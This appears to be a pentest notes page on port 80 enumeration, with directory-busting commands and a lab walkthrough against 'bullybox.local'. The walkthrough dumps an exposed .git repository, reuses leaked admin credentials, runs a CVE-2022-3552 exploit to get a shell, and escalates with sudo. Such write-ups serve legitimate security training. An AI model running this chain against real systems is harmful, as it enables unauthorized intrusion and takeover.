# 80

## Mapping

**robots.txt:**

```
```

**.svn:**

```
```

**.DS\_STORE**

```
```

## Directory Busting

```
gobuster dir -u ${ip} -w /usr/share/wordlists/dirb/common.txt -t 5
```

```
dirbuster
```

```
feroxbuster -u http://host.domain.tld:80/ -x php -C 404 -A --wordlist '/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt' -B --auto-tune
```

## PHP

**Check phpinfo or phpmyadmin:**

Running dirb we notice: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-b0fb7c40e8d238f7963551e0a4777bdcb90a71dd%2F4f2704413b8a3e675fa0ac78f9c19287.png?alt=media) There is a git directory

Using git-dumper:

```
git-dumper http://bullybox.local/.git git
```

There is bb-config.php: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-a94ac0b0a4ae5b875cc17375c64d87ac6389e03a%2Fc841e6b0e0b6d92bd9a12d27a5d7773d.png?alt=media)

We can login at /bb-admin: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-f9d830b84aa32bbedc3421ed2daed7971f65aedb%2F349952d56c1977ac3b0e4a071139f24d.png?alt=media)

Logging in with `admin@bullybox.local : Playing-Unstylish7-Provided` ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-4c2355e7109369fe18bb0a93bd142df0783d5f41%2Fa86c11ac5c80194c27ae4b8394546df9.png?alt=media)

Now we can us this [exploit](https://github.com/kabir0x23/CVE-2022-3552)

```
python3 CVE-2022-3552.py -d http://bullybox.local/ -u admin@bullybox.local -p 'Playing-Unstylish7-Provided'
```

After changing the ip: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-16702b5803182b4da3c059a213bc354ecb399696%2F06e37356d2f4432a5608c90713686abf.png?alt=media)

Now we get a shell: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-d8e0debab6b60edf70e8b67daa17e06f94116701%2F4896168281e03496448f7775734358a0.png?alt=media)

Now check id: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-36a50f946709d4998d897704de32421690a8d587%2Fb72d54aaef5892b18a5a8826aaf46eca.png?alt=media) We are sudo group so with `sudo su`
